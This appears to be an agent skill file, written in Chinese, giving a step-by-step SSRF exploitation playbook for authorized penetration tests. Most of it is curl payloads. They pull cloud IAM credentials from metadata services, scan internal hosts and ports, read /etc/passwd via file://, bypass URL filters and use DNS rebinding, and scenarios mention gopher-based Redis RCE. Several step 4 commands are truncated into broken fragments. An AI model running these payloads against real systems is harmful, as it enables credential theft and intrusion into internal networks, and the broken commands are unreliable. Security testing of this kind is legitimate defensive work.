| name | exploiting-server-side-request-forgery |
| description | 在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","ssrf","owasp","cloud-security","web-security","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用服务器端请求伪造漏洞(Exploiting Server-Side Request Forgery)
适用场景
- 在授权渗透测试中,当应用程序获取用户提供的 URL 时(Webhook、URL 预览、文件导入)
- 测试云托管应用程序对实例元数据服务的访问权限时
- 评估 PDF 生成器、截图服务或任何渲染外部内容的功能时
- 评估微服务架构中通过 SSRF 访问内部服务的风险时
- 在安全评估接受 URL 参数进行数据获取的 API 时
前置条件
- 授权:包含 SSRF 测试范围的书面渗透测试协议
- Burp Suite Professional:配合 Collaborator 进行带外检测
- interactsh:开源 OOB 交互服务器(
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
- SSRFmap:自动化 SSRF 利用框架(
git clone https://github.com/swisskyrepo/SSRFmap.git)
- curl:用于手动 SSRF 载荷测试
- 目标基础设施知识:云提供商(AWS、GCP、Azure)、内部 IP 范围
工作流程
步骤 1:识别 SSRF 易受攻击的功能
映射所有发起服务器端 HTTP 请求的应用功能。
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
"https://target.example.com/api/webhooks"
for param in url uri link href src dest redirect callback webhook \
image_url avatar_url feed_url import_url proxy_url; do
echo "测试参数:$param"
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done
步骤 2:访问云实例元数据
测试针对云提供商元数据服务的 SSRF 载荷。
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
"https://target.example.com/api/fetch-url"
步骤 3:通过 SSRF 扫描内部网络
利用 SSRF 漏洞发现内部服务和端口。
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
echo -n "$ip:$port -> "
response=$(curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$ip:$port/\"}" \
"https://target.example.com/api/fetch-url")
echo "$response" | head -c 100
echo
done
done
for svc in kubernetes.default.svc \
kubernetes-dashboard.kubernetes-dashboard.svc \
kube-dns.kube-system.svc; do
curl -s --max-time 3 -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://$svc/\"}" \
"https://target.example.com/api/fetch-url"
done
for path in /admin /console /actuator/env /server-status /_cat/indices; do
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
"https://target.example.com/api/fetch-url"
done
步骤 4:绕过 SSRF 过滤器和白名单
当基本载荷被拦截时,使用绕过技术。
PAYLOADS=(
"http://127.0.0.1/"
"http://0177.0.0.1/"
"http://0x7f.0.0.1/"
"http://2130706433/"
"http://127.1/"
"http://0/"
"http://[::1]/"
"http://0.0.0.0/"
"http://localtest.me/"
"http://spoofed.burpcollaborator.net/"
"http://127.0.0.1.nip.io/"
)
for payload in "${PAYLOADS[@]}"; do
echo -n "$payload -> "
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
-X POST -H "Content-Type: application/json" \
-d "{\"url\":\"$payload\"}" \
"https://target.example.com/api/fetch-url"
echo
done
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"file:///etc/passwd"}' \
curl -s -X POST \
-H \
-d \
curl -s -X POST \
-H \
-d \
步骤 5:利用 SSRF 进行影响升级
将 SSRF 与内部服务结合以最大化影响。
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:8080/script"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
"https://target.example.com/api/fetch-url"
步骤 6:测试盲 SSRF 和 DNS 重绑定
适用于响应不返回给攻击者的情况。
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:22/"}' \
"https://target.example.com/api/fetch-url"
time curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:12345/"}' \
"https://target.example.com/api/fetch-url"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
"https://target.example.com/api/fetch-url"
核心概念
| 概念 | 定义 |
|---|
| SSRF | 服务器端请求伪造(Server-Side Request Forgery)——使服务器向非预期目标发送请求 |
| 盲 SSRF(Blind SSRF) | 响应不返回给攻击者的 SSRF,需要带外检测 |
| 云元数据(Cloud Metadata) | 暴露凭证和配置信息的实例元数据服务(169.254.169.254) |
| Gopher 协议 | 允许传输原始 TCP 数据的协议,可用于攻击内部服务 |
| DNS 重绑定(DNS Rebinding) | 通过切换 IP 解析绕过 SSRF 主机名白名单的 DNS 攻击 |
| TOCTOU | 检查时间与使用时间的竞态条件,存在于 URL 验证中 |
| IMDSv2 | AWS 元数据服务 v2,需要会话令牌,可缓解基本 SSRF |
| 开放重定向链(Open Redirect Chain) | 利用开放重定向绕过 SSRF 过滤器中的 URL 白名单 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | 请求修改及使用 Collaborator 进行盲 SSRF 检测 |
| SSRFmap | 支持多协议的自动化 SSRF 利用框架 |
| interactsh | 用于盲 SSRF 的带外交互检测 |
| Gopherus | 生成用于利用内部服务的 gopher 载荷 |
| rbndr.us | 用于 SSRF 过滤器绕过的 DNS 重绑定服务 |
| singularity | 用于自动化利用的 DNS 重绑定攻击框架 |
常见场景
场景 1:Webhook URL SSRF 获取 AWS 凭证
Webhook 配置端点允许指定回调 URL。将其指向 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 可返回临时 AWS IAM 凭证,用于访问 S3 存储桶和其他 AWS 服务。
场景 2:PDF 生成器 SSRF
从 URL 生成 PDF 的功能会发起服务器端请求。将 http://127.0.0.1:8080/admin 作为 URL,会生成一个包含内部管理面板内容的 PDF。
场景 3:图片 URL SSRF 配合协议绕过
头像 URL 字段对 HTTP/HTTPS 进行了过滤,但接受 file:// 协议。使用 file:///etc/passwd 作为头像 URL,服务器会读取本地文件并将内容包含在响应中。
场景 4:盲 SSRF 攻击内部 Redis
URL 获取功能不返回响应内容,只确认成功/失败。使用 gopher 协议载荷向内部 Redis 实例写入数据,实现远程代码执行。
输出格式
## SSRF 漏洞发现报告
**漏洞**:服务器端请求伪造(完全 SSRF)
**严重性**:严重(CVSS 9.1)
**位置**:POST /api/webhooks - `callback_url` 参数
**OWASP 类别**:A10:2021 - 服务器端请求伪造
### 复现步骤
1. 发送 POST /api/webhooks,将 callback_url 设置为 http://169.254.169.254/latest/meta-data/
2. 服务器向 AWS 元数据端点发起请求
3. 响应包含 AWS 实例元数据,包括 IAM 角色名称
4. 后续请求 IAM 凭证端点以获取临时访问密钥
### 已确认访问
| 目标 | 协议 | 响应 |
|--------|----------|----------|
| 169.254.169.254(AWS 元数据) | HTTP | IAM 凭证已获取 |
| 127.0.0.1:6379(Redis) | Gopher | 命令已执行 |
| 127.0.0.1:9200(Elasticsearch) | HTTP | 索引列表已获取 |
| 10.0.0.5:8080(内部 API) | HTTP | 管理面板可访问 |
### 影响
- AWS IAM 临时凭证已泄露(S3 读写权限)
- 内部 Redis 服务器可访问(潜在 RCE)
- 内部 Elasticsearch 数据已暴露(用户记录)
- 完整的内网扫描能力
### 修复建议
1. 实施严格的 URL 白名单(仅允许已知可信域名)
2. 封锁对私有 IP 段的请求(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16)
3. 升级到 AWS IMDSv2(需要会话令牌头)
4. 禁用未使用的 URL 协议(gopher、file、dict、ftp)
5. 使用专用出站代理处理服务器端请求,并控制 DNS 解析